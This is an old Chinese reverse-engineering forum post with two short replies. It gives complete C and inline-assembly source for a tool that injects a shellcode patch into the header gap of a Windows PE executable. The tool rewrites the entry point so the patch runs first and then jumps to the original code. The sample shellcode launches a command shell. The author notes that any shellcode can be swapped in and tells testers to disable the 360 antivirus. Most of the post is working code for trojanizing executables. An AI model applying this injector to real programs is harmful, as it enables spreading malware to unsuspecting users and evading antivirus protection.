首页
论坛
课程
招聘
[旧帖] [原创]PE结构中插入一段补丁程序 0.00雪花
2011-11-20 15:59 1854

[旧帖] [原创]PE结构中插入一段补丁程序 0.00雪花

2011-11-20 15:59
1854
本人菜鸟,学识浅薄,若有纰漏,还望高人指正。
    最新学习PE结构,觉得略懂一二,于是想写一个能在PE结构中插入一小段补丁程序的程序,其功能是当PE被加载进内存后,补丁程序先于原程序运行,后才将执行权限转交给原程序。
    补丁在PE中的大致位置如下所示:
                   --------------------------------
                   |             DOS 头           |
                   --------------------------------
                   |             DOS Stub         |
                   --------------------------------   <---注意:DOS Stub 和补丁程序有部分重叠
                   |             补丁程序         |
                   --------------------------------
                   |             PE 头            |
                   --------------------------------
                   |             节表             |
                   --------------------------------
                   |              节              |
                   --------------------------------
      在此需要特别说明的是,这里的补丁程序和DOS Stub有部分是重叠的,其目的是使得打了补丁后的程序能更加小。
    为了便于读者阅读,再次做一个约定:
      目标文件:你想给哪个文件打补丁,哪个文件就是目标文件。
    结果文件:打了补丁后的目标文件就是结果文件。
    程序的整体思路如下:
    1、获取目标文件的大小(以字节为单位),开辟一个目标文件的缓冲区(记为ObjectFileBuffer),其大小为目标文件的大小,将整个PE文件读入其中。
    2、获取目标文件中PE的各种信息,比如PE头的偏移,文件中节的对齐粒度等等。
    3、利用获取到的信息,计算结果文件大小。
    4、开辟一个结果文件缓冲区(记为SaveFileBuffer),其大小为结果文件大小。
    5、将ObjectFileBuffer中的DOS头和DOS Stub复制到SaveFileBuffer的起始处。
    6、将补丁程序的字节码复制到SaveFileBuffer中的适当位置。
    7、将ObjectFileBuffer中的其余部分复制到SaveFileBuffer中的补丁位置的后面。
    8、将SaveFileBuffer中的字节写入文件中

    以下是我的源代码,该源代码在Windows XP SP2 VC6.0下编译通过。
/*
*   本程序的功能:在PE空隙中插入一小段补丁程序,PE被加载后,补丁程序先于原程序运行,后将执行权转移给原程序
*   补丁在PE结构中的大致位置:
*                  --------------------------------
*                  |             DOS 头           |
*                  --------------------------------
*                  |             DOS Stub         |
*                  --------------------------------
*                  |             补丁程序         |
*                  --------------------------------
*                  |             PE 头            |
*                  --------------------------------
*                  |             节表             |
*                  --------------------------------
*                  |              节              |
*                  --------------------------------
*
*   注意:为了使程序字节变得更小,在这里补丁程序和DOS Stub部分是重合的
*        本程序在Windows XP SP2 VC6.0下编译通过
*        请在测试本程序时关闭360或者将其添加为信任,否则会给您的测试带来不便
*/
#include <windows.h>
#include <stdio.h>

char cObjectFile[]="C:\\PE\\s.exe";//目标文件
char cSaveFile[]="C:\\PE\\new.exe";//结果文件
char *szFileBuffer=NULL;
char *szOldFile=NULL;

//实用补丁程序字节码
DWORD dwPatchSize;
char* cPatch;

/*
*    请将补丁字节码粘贴在这里,后面跟随若干个90,请确保该_cPatch的缓冲区比较小,
*    如果缓冲区过大,可能会使补丁程序无法正常跳转到原程序入口,
*    或者使补丁不能正常插入到原程序中
*    建议缓冲区大小为8的倍数
*/

//待用补丁程序字节码
DWORD _dwPatchSize=192;
char* _cPatch=new char[_dwPatchSize]=//本补丁的功能是弹出一个cmd,其默认msvcrt.dll已被加载
"\x55"                              
"\x8b\xec"                           
"\x33\xff"
"\x57"
"\x83\xec\x08"
"\xc6\x45\xfe\x6d"
"\xc6\x45\xfd\x6f"
"\xc6\x45\xfc\x63"
"\xc6\x45\xfb\x2e"
"\xc6\x45\xfa\x64"
"\xc6\x45\xf9\x6e"
"\xc6\x45\xf8\x61"
"\xc6\x45\xf7\x6d"
"\xc6\x45\xf6\x6d"
"\xc6\x45\xf5\x6f"
"\xc6\x45\xf4\x63"
"\x8d\x45\xf4"
"\x50"
"\xb8\xc7\x93\xbf\x77"
"\xff\xd0"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90";
DWORD dwPatchFOA;//补丁程序FOA
DWORD ddMaxSizePatch;//可以使用的最大容量补丁程序

////////////////////////////
//PE信息
DWORD dwe_lfanew=0x3c;//常量
DWORD ddPEHeaderSize=248;//PE头的大小-常量
DWORD dwSectionHeaderFileOffset=20;//节表头到文件偏移项的偏移-常量
DWORD dwSectionHeaderSize=40;//一个节表项的大小-常量

DWORD ddHeaderAndSectionSize;//头+节表在文件中总大小:DOS头+PE头+节表
LONG e_lfanew=0;
DWORD dwDosSize=0;//DOS头和DOS Stub的总大小
DWORD ddAddressOfEntryPoint;//程序执行入口RVA
WORD wNumberOfSection;//PE中节的数量
DWORD dwSectionTableStart;//节表起始处的FOA
DWORD dwDataDirectorySize=0;//数据目录数组的总大小
DWORD ddNumberOfRvaAndSizes;//数据目录项目个数
DWORD ddSegmentOffset;//节偏移
DWORD ddSectionAlignment;//内存中节的对齐粒度
DWORD ddFileAlignment;//文件中节的对齐粒度

char* ddtextName=new char[6];//.text节的名字
DWORD ddtextSizeOfRawData;//.text节的在文件中对齐后的尺寸
DWORD ddtextFileOffset;//.text节在文件中的偏移
DWORD ddtextRVA;//.text节的RVA

DWORD ddPatchRVA;//补丁起始地址RVA
DWORD ddAddressOfEntryPointXX;//原始程序入口RVA与新入口RVA跳转时的XX
BYTE byE9=233;//长跳转指令字节码 E9 XXXXXXXX

///////////////////////////////////
//导入表
DWORD ddITRVA;//导入表起始RVA
DWORD ddITFOA;//导入表起始FOA
DWORD ddITFileaddress;//导入表在内存中的文件开始地址
DWORD ddITMemoryaddress;//导入表内存的开始地址
DWORD ddIATRVA;//导入函数地址表RVA

///////////////////////////////////
//动态连接库的数量
DWORD ddNumberOfLibrary;
//某一个动态链接库的信息
char* addLibName=new char[100];//指向的动态链接库的名字
DWORD ddValueOfBridge1;//桥1的内容,一个RVA
DWORD ddValueOfBridge2;//桥2的内容
////////////////////////////////

void GetPEInformation(char* file)
{
        HANDLE h;
        DWORD readed;
        h=CreateFile(file,GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
       
        //获得文件的大小
        DWORD dwFileSize;
        dwFileSize=GetFileSize(h,NULL);

        //读取原始文件
        szOldFile=new char[dwFileSize+1];
        ReadFile(h,szOldFile,dwFileSize,&readed,NULL);

        __asm{
                pushf
                push ebp
                mov ebp,esp
                //start
                mov eax,dwe_lfanew
                mov ecx,szOldFile
                mov ebx,[eax+ecx]
                mov e_lfanew,ebx;获得e_lfanew

                ;计算DOS头和DOS Stub的总大小
                mov dwDosSize,ebx

                ;获得原始程序入口RVA
                mov eax,ebx
                mov eax,[ecx+ebx+28h]
                mov ddAddressOfEntryPoint,eax

                ;获得内存中节的对齐粒度
                xor eax,eax
                mov eax,dwDosSize
                add eax,38h
                xor ecx,ecx
                mov ecx,szOldFile
                mov ebx,[ecx+eax]
                mov ddSectionAlignment,ebx
                ;获得文件中节的对齐粒度
                add eax,4h
                mov ebx,[ecx+eax]
                mov ddFileAlignment,ebx

                ;计算节偏移
                mov eax,ddSectionAlignment
                mov ebx,ddFileAlignment
                sub eax,ebx
                mov ddSegmentOffset,eax

                ;获得PE中节的数量
                xor eax,eax
                mov ebx,dwDosSize
                mov ecx,szOldFile
                mov ax,[ecx+ebx+6h]
                mov wNumberOfSection,ax

                ;获取数据目录数组的目录项数
                xor eax,eax
                mov eax,dwDosSize
                add eax,74h
                mov ecx,szOldFile
                mov ebx,[ecx+eax]
                mov ddNumberOfRvaAndSizes,ebx

                ;计算.text节-------------------------------------------------不通用
                ;1、在文件的偏移
                ;2、在文件中对齐后的尺寸
                ;3、该节的RVA
                xor eax,eax
                xor ebx,ebx
                xor ecx,ecx
                mov ecx,szOldFile
                add ecx,dwDosSize
                add ecx,ddPEHeaderSize               
                mov bl,[ecx+1]
                sub ebx,'t'
                cmp ebx,0
                jnz allover
       
                mov eax,ddtextName
                mov bl,[ecx]
                mov [eax],bl    ;'.'
                mov bl,[ecx+1]  
                mov [eax+1],bl  ;'t'
                mov bl,[ecx+2]
                mov [eax+2],bl  ;'e'
                mov bl,[ecx+3]
                mov [eax+3],bl  ;'x'
                mov bl,[ecx+4]
                mov [eax+4],bl  ;'t'
                mov bl,[ecx+5]
                mov [eax+5],bl  ;' '

                add ecx,0ch     ;获得RVA
                mov eax,[ecx]
                mov ddtextRVA,eax

                add ecx,4h     ;获得尺寸
                mov eax,[ecx]
                mov ddtextSizeOfRawData,eax

                add ecx,4h       ;获得偏移
                mov eax,[ecx]
                mov ddtextFileOffset,eax
                //end
allover:
                pop ebp
                popf
        }
        //计算数据目录数组的总大小
        dwDataDirectorySize=8*ddNumberOfRvaAndSizes;
        __asm{
                pushf
                push ebp
                mov ebp,esp
                //start
                ;计算节表起始处的FOA
                xor eax,eax
                mov eax,dwDosSize
                add eax,78h
                add eax,dwDataDirectorySize
                mov dwSectionTableStart,eax

                ;计算导入表起始RVA
                xor eax,eax
                xor ebx,ebx
                xor ecx,ecx
                mov eax,dwDosSize
                add eax,80h
                add eax,szOldFile
                mov ebx,[eax]
                mov ddITRVA,ebx

                ;计算导入函数地址表起始RVA
                xor eax,eax
                xor ebx,ebx
                xor ecx,ecx
                mov eax,dwDosSize
                add eax,0d8h
                add eax,szOldFile
                mov ebx,[eax]
                mov ddIATRVA,ebx

                ;计算导入表起始的文件偏移FOA-----------------------------------------不通用?,默认导入函数起始地址在.text节中
                xor eax,eax
                xor ebx,ebx
                xor ecx,ecx
                mov eax,ddITRVA
                mov ebx,ddtextRVA
                sub eax,ebx
                mov ebx,ddtextFileOffset
                add ebx,eax
                mov ddITFOA,ebx
               
                ;计算导入表在内存中的文件开始地址
                xor eax,eax
                xor ebx,ebx
                mov eax,szOldFile
                add eax,ddITFOA
                mov ddITFileaddress,eax

                ////////////////////////////////////////////////////////////某一个动态连接库的信息////////////////////////////////////////////////////////////////////////////////
                ///////////////////////////////////////////////////////////////////开始///////////////////////////////////////////////////////
                ;获得该动态连接库的名字
                xor eax,eax
                xor ebx,ebx
                xor ecx,ecx
                mov eax,szOldFile
                add eax,ddITFOA
                add eax,0ch
                mov ebx,[eax]
                mov eax,ddtextRVA
                sub ebx,eax
                mov eax,ddtextFileOffset
                add eax,ebx
                add eax,szOldFile
                mov ebx,addLibName
            jmp CopyString
CopyString:
                ;eax->ebx
                xor ecx,ecx
                xor edx,edx
                mov edx,0
ag:
                mov cl,[eax+edx]
                cmp cl,0
                jz copyover
                mov [ebx+edx],cl
                inc edx
                jmp ag
copyover:
                mov [ebx+edx],cl

               
               
                //DWORD ddValueOfBridge1;//桥1的内容,一个RVA
                ;获得该动态链接库的桥1值
                xor eax,eax
                xor ebx,ebx
                mov eax,ddITFileaddress
                mov ebx,[eax]
                mov ddValueOfBridge1,ebx

                //DWORD ddValueOfBridge2;//桥2的内容
                ;获得该动态连接库的桥2值
                xor eax,eax
                xor ebx,ebx
                mov eax,ddITFileaddress
                mov ebx,[eax+10h]
                mov ddValueOfBridge2,ebx
                //////////////////////////////////////////////////////////////////结束////////////////////////////////////////////////////////
                //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

                ;计算动态连接库的数量
                xor eax,eax
                xor ebx,ebx
                xor ecx,ecx

                mov eax,ddITFileaddress
                add eax,0ch
againlib:
                mov ebx,[eax]
                cmp ebx,0
                jnz plusone
                jmp overlib
plusone:
                inc ecx;ecx表示数量
                add eax,8h
                add eax,0ch
                jmp againlib

overlib:
                mov ddNumberOfLibrary,ecx

                ;计算头+节表在文件中总大小:DOS头+PE头+节表
                xor eax,eax
                xor ebx,ebx
                xor ecx,ecx
                mov eax,dwDosSize
                add eax,ddPEHeaderSize
                mov cx,wNumberOfSection
againallsize:
                cmp cx,0
                jz overallsize
                add eax,dwSectionHeaderSize
                dec cx
                jmp againallsize
overallsize:
                mov ddHeaderAndSectionSize,eax

                //11*16=176bytes B0-按经验,不通用
                add eax,0B0h
                mov ddHeaderAndSectionSize,eax

                ;得到补丁程序FOA
                xor eax,eax
                mov eax,ddHeaderAndSectionSize
                mov dwPatchFOA,eax

                ;计算可以使用的最大容量补丁程序
                xor eax,eax
                xor ebx,ebx
                xor ecx,ecx
                mov eax,ddSectionAlignment
                mov ebx,ddHeaderAndSectionSize
                sub eax,ebx
                mov ddMaxSizePatch,eax

                ;计算实用补丁程序大小
                xor eax,eax
                xor ebx,ebx
                xor ecx,ecx
                mov eax,ddHeaderAndSectionSize
                mov ebx,ddtextFileOffset
                sub ebx,eax
                mov dwPatchSize,ebx

                ;计算补丁起始地址RVA
                xor eax,eax
                xor ebx,ebx
                xor ecx,ecx
                mov eax,ddHeaderAndSectionSize
                mov ddPatchRVA,eax

                ;计算原始程序入口RVA与新的入口RVA之间跳转时的XX
                xor eax,eax
                xor ebx,ebx
                xor ecx,ecx

                mov eax,ddPatchRVA
                mov ecx,dwPatchSize
                add eax,ecx
                mov ebx,ddAddressOfEntryPoint
                sub ebx,eax
                mov ddAddressOfEntryPointXX,ebx

                //end
                pop ebp
                popf

        }

        //如果不需要输出原程序的信息,可以将下面的输出注释起来
        printf("原程序绝对路径: %s\n",cObjectFile);
        printf("e_lfanew=0x%x\n",e_lfanew);
        printf("DOS Size = %d bytes\n",dwDosSize);
        printf("Number Of Section = %d \n",wNumberOfSection);
        printf("Address of Entry Point = 0x%x \n",ddAddressOfEntryPoint);
        printf("dwSectionTableStart =0x%x \n",dwSectionTableStart);
        printf("ddNumberOfRvaAndSizes = %d \n",ddNumberOfRvaAndSizes);
        printf("ddFileAlignment = 0x%x \n",ddFileAlignment);
        printf("ddSectionAlignment = 0x%x \n",ddSectionAlignment);
        printf("ddSegmentOffset = 0x%x \n",ddSegmentOffset);
        printf("动态链接库数量 : %d\n",ddNumberOfLibrary);
        printf("头+节表在文件中的总大小(作过调整): 0x%x\n",ddHeaderAndSectionSize);
        printf("单个内存文件头节内可以使用的最大容量补丁程序: 0x%x=%d bytes\n",ddMaxSizePatch,ddMaxSizePatch);

        printf("====================导入表===========================\n");
        printf("导入表RVA = 0x%x\n",ddITRVA);
        printf("导入表在内存中的文件起始地址 = 0x%x\n",ddITFileaddress);
        printf("导入表FOA = 0x%x\n",ddITFOA);
        printf("RVA of ITA = 0x%x\n",ddIATRVA);
        printf("第一个动态连接库的名字 : %s\n",addLibName);

        printf("====================节表==============================\n");
        printf("%s 文件中的偏移: 0x%x\n",ddtextName,ddtextFileOffset);
        printf("      文件中对齐后的尺寸: 0x%x\n",ddtextSizeOfRawData);
        printf("      节的RVA: 0x%x\n",ddtextRVA);

        delete szOldFile;
        CloseHandle(h);
}
//在PE间隙中插入程序
void ModifyExe(char* file)
{
        int nAddNumberOf200=0;//新增加的200字节个数,默认为不增加
        //首先计算实用补丁程序大小和待用补丁大小程序的差异,如果差异过大,则不允许插入补丁程序
        if(_dwPatchSize>dwPatchSize)
        {
                printf("不允许插入补丁程序\n");
                return ;
        }
        else
        {
            cPatch=new char[dwPatchSize];
                memset(cPatch,144,dwPatchSize);
                memcpy(cPatch,_cPatch,_dwPatchSize);
        }

        HANDLE h;
        DWORD readed;
        h=CreateFile(file,GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
       
        //获得文件的大小
        DWORD ddFileSize;
        ddFileSize=GetFileSize(h,NULL);
       
        //读取原始文件
        szOldFile=new char[ddFileSize+1];
        ReadFile(h,szOldFile,ddFileSize,&readed,NULL);
       
        //新文件的内容缓冲区
        szFileBuffer=new char[ddFileSize+dwPatchSize];
       
        //复制头+节表
        memcpy(szFileBuffer,szOldFile,ddHeaderAndSectionSize);
       
        //复制补丁程序
        memcpy(szFileBuffer+ddHeaderAndSectionSize,cPatch,dwPatchSize);
       
        //插入剩余部分字节
        memcpy(szFileBuffer+ddHeaderAndSectionSize+dwPatchSize,szOldFile+ddtextFileOffset,ddFileSize-ddtextFileOffset);

        //修改程序执行入口RVA-AddressOfEntryPoint
        __asm{
                pushf
                push ebp
                //start
            xor eax,eax
                xor ebx,ebx
                xor ecx,ecx
                mov eax,szFileBuffer
                add eax,dwDosSize
                add eax,28h
                mov ebx,ddPatchRVA
                mov [eax],ebx
                //end
                pop ebp
                popf
        }   

        //修改跳转到原始程序入口RVA的字节码 E9 XX
        __asm{
                pushf
                push ebp
                //start
                xor eax,eax
                xor ebx,ebx
                xor ecx,ecx

                mov eax,szFileBuffer
                add eax,dwPatchFOA
                add eax,dwPatchSize
                sub eax,4

                mov ebx,ddAddressOfEntryPointXX
                mov ecx,0
                mov [eax+3],cl
                mov [eax+2],cl
                mov cl,bh
                mov [eax+1],cl
                mov cl,bl
                mov [eax],cl
                mov cl,byE9
                mov [eax-1],cl

                //end
                pop ebp
                popf
        }
    CloseHandle(h);
       

        //写入新文件中
        h=CreateFile(cSaveFile,GENERIC_READ | GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
        WriteFile(h,szFileBuffer,ddFileSize+dwPatchSize,&readed,NULL);
        CloseHandle(h);
       
}
void main()
{
        GetPEInformation(cObjectFile);

        ModifyExe(cObjectFile);
}

       注意:在测试或者使用本程序时,请将你自己的补丁程序字节码复制到_cPatch所指向的缓冲区中,其字节数量尽可能得小,否则可能导致补丁程序无法正常跳转到原程序入口或者补丁程序无法正常插入到原程序中。请在测试本程序时关闭360或者将其添加为信任,否则会给您的测试带来不便。
    在给出的代码中,其补丁的功能是弹出一个cmd,所以在测试本程序之前,请确保你的目标文件已经加载了msvcrt.dll(system函数在msvcrt.dll中导出),否则cmd可能将不能正常弹出。
    _cPatchch中的字节码可以替换成任意的通用的shellcode。
    cObjectFile缓冲区中存放的是目标文件,cSaveFile缓冲区中存放的是结果文件,读者可以将他们替换成你自己的目标文件和结果文件。

      本程序还有许多地方做得不够完善,比如本程序的通用性较差,如果发生程序不能正常运行的情况,若您愿意,可以联系本人,本人会尽量完善之,使其通用。

[招生]科锐逆向工程师培训46期预科班将于 2023年02月09日 正式开班

收藏
点赞0
打赏
分享
最新回复 (2)
雪    币: 180
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
kxzjchen 活跃值 2011-11-20 18:59
2
0
哥们,写得不错,顶个,加油
雪    币: 485
活跃值: 活跃值 (411)
能力值: ( LV12,RANK:250 )
在线值:
发帖
回帖
粉丝
ddlx 活跃值 5 2011-11-20 21:18
3
0
用汇编的童鞋你上不起啊。可阅读性太低了,不建议在C语言中嵌入大量的汇编,程序太陈杂也不利于维护
游客
登录 | 注册 方可回帖
返回